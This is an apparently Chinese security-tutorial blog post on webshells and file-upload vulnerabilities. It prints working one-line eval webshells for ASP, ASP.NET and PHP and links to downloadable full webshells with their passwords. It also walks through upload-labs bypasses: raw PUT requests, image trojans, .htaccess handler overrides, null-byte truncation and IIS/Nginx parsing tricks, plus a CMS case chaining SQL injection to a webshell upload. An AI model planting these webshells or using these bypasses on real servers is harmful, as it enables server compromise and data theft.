054 webshell介绍与文件上传漏洞

文章目录

本来想把关于大马、小马、菜刀,蚁剑,upload-labs(部分实验)等小型实验展示单独出一章节内容,后来想想还是整合在一起吧。所以说这一章节的内容会 ¥¥¥有点多¥¥¥

 

一:漏洞概述

文件上传是web应用的必备功能之一,比如上传头像显示个性化,上传附件共享文件,上传脚本更新网站等。如果服务器配置不当或者没有进行足够的过滤,web用户就可以上传任意文件,包括恶意脚本文件、exe程序等,这就造成了文件上传漏洞。
 

二:漏洞成因

1、服务器配置不当会导致任意文件上传;
2、web应用开放了文件上传功能,并且对上传的文件没有进行足够的限制;
3、程序开发部署的时候,没有考虑到系统特性和验证和过滤不严格而导致限制被绕过,上传任意文件。
 

三:漏洞危害

上传漏洞最直接的威胁就是上传任意文件,包括恶意脚本,程序等。如果web服务器所保存上传文件的科协目录具有执行权限,那么就可以直接上传后门文件,导致网站沦陷。

如果攻击者通过其他漏洞进行提权操作,拿到系统管理权限,那么直接导致服务器沦陷。同服务器下的其他网站无一幸免,均会被攻击者控制。

通过上传漏洞获得的网站后门,就是webshell。
 

四:webshell

在计算机科学中,shell俗称壳(用来区别于“核”),是指“为使用者提供操作界面”的软件(命令解释器)。类似于windows系统给的cmd.exe或者linux下的bash等,虽然这些系统上的命令解释器不止一种。

webshell是一个网站的后门,也是一个命令解释器,不过是以web方式(http协议)通信(传递命令消息),继承了web用户的权限。webshell本质上是在服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp 等。也就是说webshell接受来自于web用户的命令,然后在服务器端执行。
 

五:大马

webshell也可以是大马,也是网站木马。有一类webshell之所以叫大马,是因为与小马(一句话木马)区分开,并且代码比较大,但是功能比较丰富。同样,大马有很多种脚本格式,其功能基本相同。每个团队都有自己的定制大马。以下是一个简单的例子。输入密码,密码一般直接写在木马文件中。在大马中我们可以进行文件管理,执行系统命令等,还有一些其他定制功能。这是asp的大马。
类似界面如下:
《054 webshell介绍与文件上传漏洞》
这里有几个大马文件,仅供大家学习之用,切勿用作非法用途。牢饭虽然免费,但是不好吃呀,除非你熟读了罗翔老师的书,比如:《圆圈正义》,,,,,哈哈哈哈~~~~
《054 webshell介绍与文件上传漏洞》
好了,废话不都说,大马下载地址:下载
(访问密码:Bzb4hF)
我们以win2003为例(IP:192.168.152.129),首先我们要部署好IISweb服务,具体怎么部署,这里就不详细说了,详情请参考我之前的博客,006 IIS之web服务器与FTP服务器
为什么要部署IISweb服务呢?因为这里用的大马是asp大马,需要有网站页面。后文用到的php大马,我们就要用到phpstudy。
布置好之后,如下图所示:
《054 webshell介绍与文件上传漏洞》
在inetpub\wwwroot文件夹下创建一个dama的文件夹
《054 webshell介绍与文件上传漏洞》
把两个大马文件放到dama文件夹中,然后用真实机(前提配置好网络互通,这里我用的是NAT模式)浏览器访问192.168.152.129
《054 webshell介绍与文件上传漏洞》
这里以style.asp为例,先代码审计一波,发现style.asp的登录密码是1314。(哈哈哈,感觉是为有故事的作者)
《054 webshell介绍与文件上传漏洞》
回到真实机的浏览器上:
《054 webshell介绍与文件上传漏洞》
登录之后:
《054 webshell介绍与文件上传漏洞》
 
接下来是php大马:
以win2008为例:IP:192.168.152.132
首先确定正确运行了phpstudy软件,如何运行,请参照:031 基础环境搭建phpstudy
《054 webshell介绍与文件上传漏洞》
在C:\phpStudy\WWW目录下创建一个叫dama的文件夹,把nosafe.php这个文件放进去。
真实机打开浏览器输入IP地址进行访问,输入密码www.nosafe.org
《054 webshell介绍与文件上传漏洞》
 

六:小马

小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。以下是各个脚本的一句话。

ASP:
	<%eval request("cmd")%>
ASP.NET:
	<%@ Page Language="Jscript"%>
	<%eval(Request.Item["cmd"],"unsafe");%>
PHP:
	<?php @eval($_REQUEST['cmd']);?>

一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。例如,我们上传一个上面的php的一句话木马,密码就是[cmd]。
 

七:中国菜刀与蚁剑

中国菜刀与一句话木马配合实现了三大基本功能,如下:
1、文件管理
在中国菜刀页面继承web,用户权限可以实现文件管理, 包括文件查看,上传,下载,修改,删除甚至运行exe程序等。

2、虚拟终端
在中国菜刀下可以获得类似于cmd和bash的命令行接口,可以执行相关命令。

3、数据库管理
我们可以使用中国菜刀进行数据库管理,此时需要知道连接数据库的账号密码。以MYSQL为例,填写配置,如下:

<T>MYSQL</T>			//数据库类型
<H>localhost</H>		//数据库地址
<U>root</U>				//数据库用户
<P></P>					//数据库密码,密码为空就不写
<L>utf8</L>				//编码
此时,我们就可以执行sql语句,管理数据库了。

实验过程:
在win2008上,在www目录下创建一个webshell的文件夹,webshell里面新建一个yjh.php文件,写入如图内容。也就是一句话木马。
《054 webshell介绍与文件上传漏洞》
一句话木马一般都需要借助中国菜刀或者中国蚁剑进行联合使用。
比如:中国蚁剑:下载地址:下载 (访问密码:K276zo)
下载之后解压到真实机上。
这里可以设置语言,改成中文的
《054 webshell介绍与文件上传漏洞》
这里添加数据:
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》
右键选择文件管理
《054 webshell介绍与文件上传漏洞》
所有东西一目了然
《054 webshell介绍与文件上传漏洞》

右键选择虚拟终端
《054 webshell介绍与文件上传漏洞》
右键选择数据操作
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》

菜刀和蚁剑用法差不多,感觉蚁剑好一些。。。。
 

八:文件上传漏洞利用

8.1:GetShell

顾名思义,就是获取web的过程和结果。当然任意文件上传是GetShell的主要方式,但并不是唯一途径。

条件:
1、web服务器要开启文件上传功能,并且上传api(接口)对外“开放”(web用户可以访问)
2、web用户对目标目录具有可写权限,甚至具有执行权限,一般情况下,web目录都有执行权限。
3、要想完美利用文件上传漏洞,就是上传的文件可以执行,也就是web容器可以解析我们上传的脚本,无论脚本以什么样的形式存在。
4、无视以上条件的情况就是服务器配置不当,开启了PUT方法。
 

8.2:防御,绕过,利用

文件上传的防御,绕过,利用总是分不开的。为什么这么防?为什么这么攻击(防御绕过)?总是相互纠缠在一起的两个问题,攻防交替。
 

黑白名单策略
黑白名单是最常用的安全策略之一。在计算机安全中,黑白名单类似于一个列表,列表中写了一些条件或规则,如果“客体”在黑名单上,一律“禁止”,如果“客体”在白名单上,一律“允许”。类似于手机号码的黑白名单。
如,Chrome浏览器的黑白名单策略。

策略说明
URLBlacklist禁止用户访问您已阻止的网站。不过,用户可以访问黑名单之外的所有网址。不设置此策略:用户将可以自由访问所有网址。
URLWhitelist将此策略与URLBlacklist策略搭配使用,可将特定网址设为黑名单的例外网址并允许用户访问。白名单的优先级高于黑名单。至少要在黑名单中添加一个条目,才能正常使用此策略。不设置此策略:网址黑名单将没有例外网址。

华为收集安装软件黑白名单策略

模式说明
白名单模式,检查只能安装的软件只允许终端主机安装软件白名单中的软件,安装其他软件属于违规行为;对于白名单中的软件,该软件属于必须安装类软件,而终端主机未安装该软件,则属于违规行为;对于白名单中的软件,该软件不属于必须安装类软件,而终端主机未安装该软件,则不属于违规行为
白+黑名单模式,检查必须安装的软件和禁止安装的软件如果终端主机未安装白名单中的任意一款软件,则属于违规行为;如果终端主机已安装黑名单中的任意一款软件,则属于违规行为;如果终端主机已经安装白名单中的所有软件,并且没有安装黑名单中任意一款,则不属于违规行为

 

8.3:PUT方法上传文件

http请求方法之一,允许向服务器直接写入文件

1、apache如何开启put方法
测试apache是否开启了put方法
先telnet ip port(比如:telnet 192.168.152.132),然后输入命令
OPTIONS / HTTP/1.1HOST:192.168.152.132然后敲两下回车。

我们用win2008和kali做实验
win2008:192.168.152.132
kali:192.168.152.130
首先要确保win2008的telnet服务开启了。初次开启可按如下操作。

首先安装telnet服务
《054 webshell介绍与文件上传漏洞》
打开服务面板
《054 webshell介绍与文件上传漏洞》
并且要开启phpstudy软件,且成功的把www目录下的l.php重命名(这是为了防止输入ip的时候直接进入页面,此处若不设置还会影响到该实验,会把整个页面的html代码给抓取下来,不会显示到allow的信息)
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》

再切到kali上:
《054 webshell介绍与文件上传漏洞》

2、apache开启put方法的操作

a:打开模块
C:\phpStudy\Apache\conf\httpd.conf文件,下面两行的注释给去掉,删除#
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so
《054 webshell介绍与文件上传漏洞》

b:启用模块
在C:\phpStudy\Apache\conf\httpd.conf文件中,搜索<Directory />
在这个标签中的最后一行添加DAV On
《054 webshell介绍与文件上传漏洞》

c:开启文件锁
DavLockDB c:\phpstudy\www\DavLock这句话放到C:\phpStudy\Apache\conf\httpd.conf文件的第一行,并在c:\phpstudy\www目录下创建一个DavLock文件,然后重启phpstudy,再telnet 172.16.132.161 80,然后输入命令OPTIONS / HTTP/1.1和HOST:172.16.132.161进行查看是否开启了put方法。发现开启了很多方法,但是没有Put,没关系,此处任然可以进行文件上传。
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》
3、put方法上传文件
向服务器提交一个info.php文件,在根目录下提交一个info.php的文件,文件长度是18,内容是<?php phpinfo();?>
以下内容最好是手打进去,复制粘贴可能会多了一个空格换行之类的符号,会报错400或者是其他的

PUT /info.php HTTP/1.1
HOST:192.168.152.132
Content-Length:18
										此处一定要有空行
<?php phpinfo();?>

kali源码:

kali源码:
			┌──(rootkali)-[/tmp]
			└─# telnet 192.168.152.132 80
			Trying 192.168.152.132...
			Connected to 192.168.152.132.
			Escape character is '^]'.
			PUT /info.php HTTP/1.1
			HOST:192.168.152.132
			Content-Length:18

			<?php phpinfo();?>
			HTTP/1.1 201 Created
			Date: Thu, 17 Mar 2022 13:53:56 GMT
			Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
			Location: http://192.168.152.132/info.php
			Content-Length: 181
			Content-Type: text/html; charset=ISO-8859-1

			<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
			<html><head>
			<title>201 Created</title>
			</head><body>
			<h1>Created</h1>
			<p>Resource /info.php has been created.</p>
			</body></html>
			Connection closed by foreign host.

http 201 Created
然后再win2008上,查看info.php文件。这就说明put方法能够执行,那么一旦服务开启了put方法,那是很危险的,那么我们就可以上传任意文件了。。。比如说。。。(自己脑补)
《054 webshell介绍与文件上传漏洞》
 

8.4:前端限制与绕过

所需的靶场:upload-labs文件下载:下载 (访问密码:QJBa4w)

8.4.1:upload-labs的安装

下载到本地,进行解压,得到一个upload-labs-master的文件夹,然后把该文件夹重新命名为upload-labs(也可以不重命名),再把这个文件夹放到phpstudy对应的目录下,比如:C:\phpStudy\WWW\upload-labs
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》
当你点击网页内容时,加载反应有点慢(不知道是不是自己电脑问题),要等反应完再点下一步的操作。
 

8.4.2:upload-labs第1关,方法一

有些web应用的文件上传功能,仅在前端用JS脚本做了检测,如检测文件后缀名等。

我们准备一个文件叫做info.php,该文件内容是<?php phpinfo();?>
《054 webshell介绍与文件上传漏洞》
按F12审查元素,选中上传按钮所在的form表单,发现该表单有个event事件
《054 webshell介绍与文件上传漏洞》
查看event,发现有人checkfile选择文件
《054 webshell介绍与文件上传漏洞》
然后搜索checkFile
《054 webshell介绍与文件上传漏洞》
upload-labs第一关,上述的关键代码如下:

<script type="text/javascript">
	function checkFile(){ 
		var file = document.getElementsByName('upload_file')[0].value;
		if (file == null || file == ""){ 
			alert("请选择要上传的文件");
			return false;
		}
		// 定义允许上传的文件类型
		var allow_ext = ".jpg|.png|.gif";
		// 提取上传文件的类型
		var ext_name = file.substring(file.lastIndexOf("."));
		// 判断上传文件类型是否允许上传
		if(allow_ext.indexOf(ext_name) == -1){ 
			var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
			alert(errMsg);
			return false;
		}
	}
</script>
分析上述js代码可知:采用白名单策略,检测文件后缀名。配合表单事件使用。

既然是配合表单事件使用,那我们只要让这个表单不生效即可。
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》
然后再点击上传,发现上传成功。
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》
回到win2008查看文件
《054 webshell介绍与文件上传漏洞》
前端JS脚本检测的安全防御是十分薄弱的,可以非常轻松的绕过。上述方法就是利用JS脚本的运行环境浏览器,我们可以通过修改JS代码,甚至删除表单事件来完成绕过。
 

8.4.3:upload-labs第1关,方法二

使恶意文件后缀名符合白名单策略,用BURP挂代理抓包,然后修改文件后缀名即可。
这里我们要用到火狐浏览器一个插件,添加一个代理插件。添加成功之后,右上角会有图标显示。
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》
保存退出之后,然后选择BP这一行
《054 webshell介绍与文件上传漏洞》
然后开启burpsuite软件,(安装与使用的方法参考我以前的博客:047 Burp Suite的详细安装与使用
重新进入upload-labs pass01,点击上传按钮的时候,会提示只能上传.jpg,.png,.gif文件类型。
所以我们把info.php文件名改为info.png。
《054 webshell介绍与文件上传漏洞》
点击上传按钮,查看bp的抓包。内容如下:
《054 webshell介绍与文件上传漏洞》
然后我们修改抓到的包的数据:如下图
《054 webshell介绍与文件上传漏洞》
然后点击 放包 按钮,然后点击拦截请求,放掉这个包。
回到浏览器,发现上传成功。
《054 webshell介绍与文件上传漏洞》

 

8.5:服务器端限制与绕过

对于文件上传,只从WEB前端进行检测显然防护不够,那么服务器检测就特别重要了。一般服务器端检测,采用白名单策略,检测如下内容。

8.5.1:服务器端检测——MIME类型

MIME(Multipurpose Internet Mail Extension)是描述消息内容类型的因特网标准。MIME消息能够包含文本、图像、音频、视频以及其他应用程序专用的数据。

常见的MIME类型如下:

文件扩展名Mime-Type
.jsapplication/x-javascript
.htmltext/html
.jpgimage/jpeg
.pngimage/png
.pdfapplication/pdf
*application/octet-stream

更多mime对照:https://www.cnblogs.com/xiaohi/p/6550133.html
在http协议中,使用Content-Type字段表示文件的MIME类型。当我们上传文件的时候,抓到HTTP数据包。
《054 webshell介绍与文件上传漏洞》
在服务器端会检测Content-Type类型,upload-labs第二关,关键代码如下:

if (isset($_POST['submit'])) { 
	if (file_exists($UPLOAD_ADDR)) { 
		if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { 
			if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) { 
				$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
				$is_upload = true;
			}
		} else { 
			$msg = '文件类型不正确,请重新上传!';
		}
	} else { 
		$msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
	}
}
由于服务器在检测Content-Type类型的时候,取得的变量来自于用户,
所以可以用BURP抓包,修改这个字段,使其合法,既可绕过限制上传任意文件。

8.5.1.1:upload-labs第2关步骤

上传一个info.php文件,先不进行BP抓包
《054 webshell介绍与文件上传漏洞》

上传一个info.php文件,并进行BP抓包
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》
修改content-type的值,改为image/png,然后点击 放包,再点击 拦截请求,发现上传成功。

《054 webshell介绍与文件上传漏洞》

 

8.5.2:服务器端检测——文件内容

除了检测上传文件的Content-Type类型,为了保持安全性,服务器端还会检测文件内容。PHP中有一个函数getimagesize(),这个函数本意是检查图片的大小,但是在检查之前,该函数会判断目标文件是否是一张图片。因此,可以用该函数来检测文件的内容。

14关的关键源码:

function isImage($filename){ 
	$types = '.jpeg|.png|.gif';
	if(file_exists($filename)){ 
		$info = getimagesize($filename);
		$ext = image_type_to_extension($info[2]);
		if(stripos($types,$ext)){ 
			return $ext;
		}else{ 
			return false;
		}
	}else{ 
		return false;
	}
}

对于文件内容检测,我们可以通过制作上传图片木马绕过。

8.5.2.1 三种方法制作图片木马

1:GIF89a
新建一个info.gif文件
文件内容为:

GIF89a
<?php
phpinfo();
?>

《054 webshell介绍与文件上传漏洞》

2:copy smile.jpg/b+info.php/a smile_info.jpg
准备任意一张图片,任意取名smile.jpg
然后准备一个info.php,内容:

<?php
phpinfo();
?>

此时把这两个文件都放在桌面上。
《054 webshell介绍与文件上传漏洞》
这样就生成了图片木马smile_info.jpg了。可以右键用Notepad++打开,能看到php代码
《054 webshell介绍与文件上传漏洞》

3:文件幻术
利用十六进制编辑器,我们知道所有的jpg图片的文件头部都是相同的,Png和gif图片也是一样。

png 	89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
jpg 	FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
gif 	47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33

复制上述任意格式的十六进制码放到Notepad++里面,然后选择,插件,converter,hex->ascii然后回车另起一行,输入php代码
《054 webshell介绍与文件上传漏洞》
把png_php.png放入C:\phpStudy\WWW\upload-labs\upload目录下,然后浏览器可以成功访问该文件。
《054 webshell介绍与文件上传漏洞》
 

8.5.2.2:upload-load 第14关:步骤

这里的第14关,其实是15关,因为这是之前只有19关的版本,后来重新上传了一个新版本的,
因为插入一个新的Pass-05,其余Pass编号依次往后递增

先上传一个info.php文件,并进行BP抓包
《054 webshell介绍与文件上传漏洞》
选中所有数据,右键发送到repeater
点击重发器,再点击发送,把右边滚动条滑到最下边
《054 webshell介绍与文件上传漏洞》
发现内容:提示:文件位置,上传失败!
这时候我们修改filename和content-type的值。并重新发送。
《054 webshell介绍与文件上传漏洞》
发现还是不能上传文件,这时候我们就怀疑会检测文件内容。
这时候我们把准备好的图片木马info.gif进行上传。
《054 webshell介绍与文件上传漏洞》
此时,文件已经上传成功了
《054 webshell介绍与文件上传漏洞》
 

8.5.3:服务器端检测——后缀名

服务器端还会检测文件后缀名。
服务器端在检测文件名的时候,依然会采用黑白名单策略。黑名单策略,不允许上传php|asp|aspx|jsp…等可执行脚本的文件;
白名单策略,只允许上传jpg|gif|png|doc|rar…等格式的文件。

黑名单
代码中$deny_ext数据就是一个黑名单,数组元素就是不允许上传的类型。
对于黑名单,我们可以寻找其他可允许上传的类型来绕过限制。
可以执行脚本后缀名:

php:.php .php2 .php3 .php5 .phtml
asp:.asp .aspx .ascx .ashx .asa .cer
jsp:.jsp .jspx

白名单
对于后缀名白名单策略,我们只能上传处在白名单内的文件后缀名。

实验:新建info.php2,info.php3,info.phtml
内容均为:

<?php
phpinfo();
?>

《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》
这里翻车,均没有显示页面。。。。。大概的用法就是这样的

 
 

8.6:00截断

00就是Null(空)字符,URL中表现为%00,00截断会导致文件上传路径截断。我们以upload-labs第十一关为例子说明这个问题:
关键代码:

if(isset($_POST['submit'])){ 
	$ext_arr = array('jpg','png','gif');
	$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
	if(in_array($file_ext,$ext_arr)){ 
		$temp_file = $_FILES['upload_file']['tmp_name'];
		$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
		if(move_uploaded_file($temp_file,$img_path)){ 
			$is_upload = true;
		}
		else{ 
			$msg = '上传失败!';
		}
	}
	else{ 
		$msg = "只允许上传.jpg|.png|.gif类型文件!";
	}
}


补充知识点:
			上述代码中的substr函数与strrpos函数
PHP strrpos() 函数
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。
注释:strrpos() 函数对大小写敏感。
<!DOCTYPE html>
<html>
	<body>
		<?php
			echo strrpos("You love php, I love php too!","php");
		?> 
	</body>
</html>
结果21

PHP substr() 函数
substr(string,start,length)
substr() 函数返回字符串的一部分。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0<!DOCTYPE html>
<html>
	<body>
		<?php
			echo substr("Hello world",6);
		?>  
	</body>
</html>

8.6.1:upload-labs 第十一关:步骤

这里的第11关,其实是12关,因为这是之前只有19关的版本,后来重新上传了一个新版本的,
因为插入一个新的Pass-05,其余Pass编号依次往后递增

环境准备:win2008
burp suite
在win2008上搭建好upload-labs,进入pass-11,上传一个info.php文件。文件内容:<?php phpinfo();?>,再点击上传之前开启bp抓包。会得到下图内容:
《054 webshell介绍与文件上传漏洞》
直接放包。
然后点击浏览器中的上传按钮,重新抓包,得到如下内容:
《054 webshell介绍与文件上传漏洞》
选中所有内容,右键发送到repeater。然后再次点击拦截请求,把这个包放过。
然后,切换到重发器,点击发送。如下图,
《054 webshell介绍与文件上传漏洞》
发现只能上传jpg,png,gif类型文件。所以我们把info.php后缀名改为gif,在phpStudy\WWW\upload-labs目录下创建一个upload文件夹(有些可以自动创建,有些不行,不行的话就手动创建下)。
《054 webshell介绍与文件上传漏洞》
修改保存路径:
《054 webshell介绍与文件上传漏洞》
那么怎么才能把upload后面的看作是文件名,而不是文件夹名呢?
那就需要用到00截断了,在test.php后面加上%00
如下图:
《054 webshell介绍与文件上传漏洞》
这里翻车了。还不知道是为啥?百度了很久也没有解决,更换了php版本,也尝试了网上的这个方法:
php关闭magic_quotes_gpc的方法:1、将php.ini的“magic_quotes_gpc”设置为Off;2、在“.htaccess”里写入“php_value magic_quotes_gpc Off”。也更换了靶机,换成了win10。然后也换了新的upload文件。。。。。最后没能解决。不过却发现新的upload-labs文件好用些。解压之后直接放到phpStudy\WWW目录下就可以用。并且不会出现页面报错和卡顿。新的下载地址:点我 ,前面的下载地址也已同步更新。
(访问密码:QJBa4w)
《054 webshell介绍与文件上传漏洞》
先假装成功了。
接下来:看下视频截图。查看%00后面的gif文件,发现 Not Found
《054 webshell介绍与文件上传漏洞》
然后直接查看test.php文件。
《054 webshell介绍与文件上传漏洞》
 
 

8.7:.htaccess攻击

.htaccess是apache服务器的分布式配置文件,该配置文件会覆盖apache服务器的全局配置,作用域是当前目录及其子目录。
如果一个web应用允许上传.htaccess文件,那就意味着攻击者可以更改apache的配置,这是十分危险的。
.htaccess攻击想象空间非常大。

 

8.7.1:将.png文件当作php文件解析

首先查看apache的配置,是否允许.htaccess文件覆盖掉apache的配置。
打开目录:D:\phpStudy\Apache\conf下的httpd.conf文件,查看如下内容,则表示允许。

DocumentRoot  "D:\phpStudy\WWW"
<Directory />
	Options +Indexes +FollowSymLinks +ExecCGI
	AllowOverride All
	Order allow,deny
	Allow from all
	Require all granted
</Directory>

因为.htaccess的作用域是当前作用域是当前目录及其子目录。所以我们在D:\phpStudy\WWW\upload-labs-master\upload这个目录下创建.htaccess。这个upload文件夹是我们的上传文件的地方。

首先创建文件.htaccess文件,但是会报错。因为windows不允许在文件命名时在”.”前面没有字符。所以,我们可以现在upload目录下,先创建1.txt文件,里面写入AddType application/x-httpd-php .png

这句话的意思是:将.png文件当作php文件进行解析

然后利用DOS命令:copy d:\phpStudy\WWW\upload-labs-master\upload\1.txt d:\phpStudy\WWW\upload-labs-master\upload.htaccess就能生成.htaccess文件了。

再在upload目录下创建一个info.png文件。文件内容是<?php phpinfo();?>
《054 webshell介绍与文件上传漏洞》
此时,当我们访问png图片文件的时候,显示的却是php页面,如下图
《054 webshell介绍与文件上传漏洞》

 

8.7.2:文件名中包含php关键字

在.htaccess文件中加入:AddHandler php5-script php

当文件名[info.php.jpg]中包含关键字[.php],并且.htaccess文件内容如下,info.php.jpg中的代码会被执行。
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》

8.7.3:匹配文件名

以下配置是匹配文件名[abc],找到该文件,并执行其中的PHP代码

<FilesMatch "abc">
SetHandler application/x-httpd-php
</FilesMatch>

《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》
 

8.7.4:.htaccess攻击的应用 upload-labs第四:步骤

《054 webshell介绍与文件上传漏洞》
然后进入第四关,先上传.htaccess文件
《054 webshell介绍与文件上传漏洞》
再上传abc.txt文件
《054 webshell介绍与文件上传漏洞》
然后进入upload路径下,访问abc.txt
《054 webshell介绍与文件上传漏洞》
 
 

8.8:web容器解析漏洞

web容器解析漏洞,就是web容器在解析脚本出现的”bug”

8.8.1:apache解析漏洞

创建一个info.xxx.xx.x文件,内容为<?php phpinfo();?>
《054 webshell介绍与文件上传漏洞》
然后浏览器直接打开访问该文件。即可显示页面,但是我自己没有成功,视频成功了。不知道是啥原因,可能版本问题吧。

8.8.2:IIS6.0解析漏洞

asp;.jpg格式:
	time.asp;.jpg
1.asp文件夹下的time.jpg文件
	1.asp/time.jpg

需要用到浏览器6.0版本,此时,我们以2003为实验点。
先在win2003上搭建好iis——web服务。
如下图创建文件夹和文件
《054 webshell介绍与文件上传漏洞》
然后浏览器访问,访问成功
《054 webshell介绍与文件上传漏洞》
然后复制文件,并重命名time.asp;.jpg
《054 webshell介绍与文件上传漏洞》
浏览器访问.jpg图片文件,运行成功
《054 webshell介绍与文件上传漏洞》
另一种方法:
如下图创建文件夹1.asp,并在该文件夹中创建time.jpg(内容和time.asp一样)
《054 webshell介绍与文件上传漏洞》
浏览器访问,点击1.asp
《054 webshell介绍与文件上传漏洞》
页面无法显示
《054 webshell介绍与文件上传漏洞》
直接在地址栏输入time.jpg,显示成功
《054 webshell介绍与文件上传漏洞》

8.8.3:PHP CGI解析漏洞

IIS7.0/7.5
IIS7.0/7.5+php环境
		让IIS7.0/7.5 支持PHP环境
		http://localhost:8000/info.png/1.php
Nginx 也存在同样问题
		/info.png/1.php

实验环境win2008
现在win2008上搭建web服务
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》
先把默认网站删除
《054 webshell介绍与文件上传漏洞》
新建网站:
《054 webshell介绍与文件上传漏洞》
双击处理程序映射
《054 webshell介绍与文件上传漏洞》
选择添加模块映射
《054 webshell介绍与文件上传漏洞》
选择可执行文件
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》
然后确定,选择是。配置完成
《054 webshell介绍与文件上传漏洞》
接下来:双击进入FastCGI设置
《054 webshell介绍与文件上传漏洞》
点击编辑
《054 webshell介绍与文件上传漏洞》
找到php.ini文件
《054 webshell介绍与文件上传漏洞》
到此为止,配置完成。

在C:\inetpub\wwwroot目录下创建一个info.php,内容如下图
《054 webshell介绍与文件上传漏洞》
然后浏览器直接访问下图地址,发现可以访问成功
《054 webshell介绍与文件上传漏洞》
然后在C:\inetpub\wwwroot目录下,复制info.php到当前目录并重命名为info.png。
浏览器访问报错
《054 webshell介绍与文件上传漏洞》
好的,,,,接下来就是见证奇迹的时候。
在地址栏后面手动添加/.php
《054 webshell介绍与文件上传漏洞》
访问成功

那么这个漏洞怎么防御呢?
《054 webshell介绍与文件上传漏洞》
设置之后,浏览器重新访问
《054 webshell介绍与文件上传漏洞》
无法访问

8.8.4:Nginx空字节漏洞

localhost/info.html%00.php

8.8.5:Nginx文件名逻辑漏洞(CVE-2013-4745)

8.8.6:常见编辑器上传

编辑器就是网站后台编辑网页的在线编辑器,会自动集成文件上传功能,这些编辑器的某些版本也存在文件上传漏洞。
ewebeditor
fckeditor
没有视频中的源码文件夹。。。。。。不能实验了。

心得:上传大马,发现不行,继而上传小马,然后利用中国蚁剑进行大马的上传,小马传大马。渗透途中若是有各种阻挡,不妨用Burp抓包慢慢分析,比如创建1.asp文件夹路径,会被替换为1_asp,从而令IIS6的解析漏洞失去作用,我们就可以抓包,得到路径,然后修改路径,进而创建1.asp路径名。

8.8.7:常见的CMS上传

cms又叫网站内容管理系统,市面上很多开源的CMS的历史版本中基本上存在文件上传漏洞,但是产生文件上传漏洞的原因不尽相同,情景也不似本章上文中介绍的那样“直白”。类似的CMS有很多,比如常见的dedeCMS,PHPcms等。

8.8.8:南方数据管理系统(经典案例)

后台getshell
asp|access|.mdb|下载
win2003
权限
利用数据库备份getshell|另存|自定义文件的名字|上传图片木马

找不到文件,只能视频部分截图:
《054 webshell介绍与文件上传漏洞》
sql注入点1:
《054 webshell介绍与文件上传漏洞》
直接得到管理员账号密码。
sql注入点2:
《054 webshell介绍与文件上传漏洞》
可以通过御剑扫描到网站后台地址,然后通过刚获得到的账密,直接登录后台。
找到可以上传文件的地方,然后上传大马,如下图:
《054 webshell介绍与文件上传漏洞》
报错,该类型不允许上传。。。。那么此时应该怎么办??
我们想到通过抓包来一探究竟。。。。
修改为jpg后缀。
《054 webshell介绍与文件上传漏洞》
我们猜测图片路径,路径如下图(图片已找到,只是不能显示,因为black.jpg只是后缀名为jpg,内容却为asp)
《054 webshell介绍与文件上传漏洞》
同样的猜测数据库路径:
《054 webshell介绍与文件上传漏洞》
发现.mdb文件可以下载。
《054 webshell介绍与文件上传漏洞》
《054 webshell介绍与文件上传漏洞》
点击确定
《054 webshell介绍与文件上传漏洞》
这样就绕过了无法上传asp文件的防御了。
然后我们进入这个地址
《054 webshell介绍与文件上传漏洞》
无法打开,此时只需要把地址栏中的.asa去掉即可。
《054 webshell介绍与文件上传漏洞》
asp大马上传成功。

8.8.9:metinfov5.0.4 文件上传

声明下:
5.0.4版本的文件找了很久很久的百度都没找到源码,也有很多小伙伴也同样在求源码,同样是没有找到。。。唉。。。后来我好不容易(到底是容易还是不容易。。。哈哈哈,汉语就是博大精深)找到5.0.4文件。结果却。。。。
《054 webshell介绍与文件上传漏洞》
啊啊啊啊啊啊,,,,什么鬼哦。

那怎么办?继续找呗。还是没找到,我看毕竟有残缺文件,就找到了个5.1.4版本的。然后纠结了一个问题,纠结了很久,源于一句怎么防御的话:“可以给文件加权限,杜绝漏洞的利用”。。。。如下图:
《054 webshell介绍与文件上传漏洞》
